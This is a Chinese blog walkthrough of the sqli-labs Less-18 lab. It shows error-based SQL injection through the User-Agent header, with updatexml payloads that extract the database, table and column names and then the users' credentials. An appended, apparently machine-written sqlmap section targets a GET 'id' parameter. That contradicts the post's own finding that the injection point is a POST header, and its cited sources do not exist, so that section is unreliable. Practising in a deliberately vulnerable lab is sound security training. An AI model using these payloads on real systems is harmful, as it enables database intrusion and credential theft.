sqli-labs Less-18

本文详细介绍了在sqli-labs的Less-18挑战中,如何利用POST请求的User-Agent字段进行Header注入。通过观察错误回显,发现了注入点,并逐步揭示了数据库名、表名、字段名以及字段值,展示了利用updatexml和extractvalue函数进行SQL注入的方法。

LESS-18 POST - Header Injection -Uagent field - Error based

0x01.
随便测试几个查看有无回显

错误回显和正确回显都是显示IP地址

错误回显:
在这里插入图片描述
正确回显:
在这里插入图片描述
在正确的回显中可以看见user agent,猜测可以利用进行注入,可以查看源码进行分析。
在这里插入图片描述
用户名与密码的获取方式是post,而且采用了check_input处理,所以在这两个地方注入不行,往下看。

在这里插入图片描述

发现insert语句,将user-agent以及IP数据插入数据库,可以利用进行注入。 (注意要输入正确的用户名和密码才能绕过用户名密码判断,进入处理user-agent部分)

利用updatexml进行注入

0x02.爆数据库名

'and updatexml(1,concat(0x7e,(database())),0x7e),1)-- #
(注意这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#)在这里插入图片描述
0x03.爆表名

'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’)),0x7e),1)-- #
在这里插入图片描述
0x04.爆字段名

'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0x7e),1)-- #
在这里插入图片描述
0x05.爆字段值

'and updatexml(1,concat(0x7e,(select * from(select concat_ws(0x7e,id,username,password)from users limit 0,1)a)),0),",")-- #
在这里插入图片描述改变limit的值获得其他用户名和密码
在这里插入图片描述
也可以用extractvalue()注入,还可以使用延时注入,子查询注入,但是不能用布尔盲注,因为无论错误还是正确都只会返回同样的页面。

### 使用 SQLMap 解决 Sqli-labs Less-18 的 SQL 注入问题 SQLMap 是一款强大的自动化 SQL 注入工具,能够帮助渗透测试人员快速检测和利用 SQL 注入漏洞。对于 Sqli-labs Less-18 这一关卡,可以通过以下方法来解决问题。 #### 工具准备 确保已经安装了最新版本的 SQLMap 并配置好环境变量以便可以直接调用 `sqlmap` 命令[^2]。 #### URL 测试 在开始之前,可以尝试向目标 URL 添加单引号 `'` 来触发错误响应,验证是否存在可利用的 SQL 注入点。例如访问如下链接: ``` http://<target-ip>/sqli-labs/Less-18/?id=1' ``` 如果页面返回异常或者数据库报错,则说明可能存在注入漏洞[^3]。 #### 构建基本命令 构建基础的 SQLMap 执行命令用于扫描指定参数中的潜在漏洞。以下是针对 Less-18 的具体命令结构: ```bash sqlmap.py -u "http://<target-ip>/sqli-labs/Less-18/?id=1" --batch --dbms MySQL --technique=E,B,T,U,S --level=5 --risk=3 ``` 解释各选项含义如下: - `-u`: 指定目标 URL。 - `--batch`: 自动化模式下无需人工干预即可完成操作。 - `--dbms`: 明确指出使用的数据库管理系统类型为 MySQL。 - `--technique`: 定义采用的技术组合 (Error-based, Boolean-based blind, Time-based blind, Union query based, Stacked queries)[^1]。 - `--level/--risk`: 提高探测级别与风险等级以覆盖更多可能存在的复杂情况。 #### 获取敏感信息 一旦确认存在注入可能性之后,就可以进一步提取有用的数据比如当前用户、数据库名称列表等等。下面列举几个常用子命令及其作用: - **获取所有可用数据库** ```bash sqlmap.py -u "http://<target-ip>/sqli-labs/Less-18/?id=1" --dbs --batch ``` - **枚举特定数据库内的表名** ```bash sqlmap.py -u "http://<target-ip>/sqli-labs/Less-18/?id=1" -D security --tables --batch ``` - **读取某张表格里的列字段定义** ```bash sqlmap.py -u "http://<target-ip>/sqli-labs/Less-18/?id=1" -D security -T users --columns --batch ``` - **导出实际记录值** ```bash sqlmap.py -u "http://<target-ip>/sqli-labs/Less-18/?id=1" -D security -T users -C username,password --dump --batch ``` 以上每一步都依赖于前序步骤成功执行的结果才能继续推进下去。 ### 注意事项 在整个过程中需注意保护合法资产不受损害;仅限授权范围内开展此类活动;严格遵循法律法规要求进行学习研究性质的操作实践[^4]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值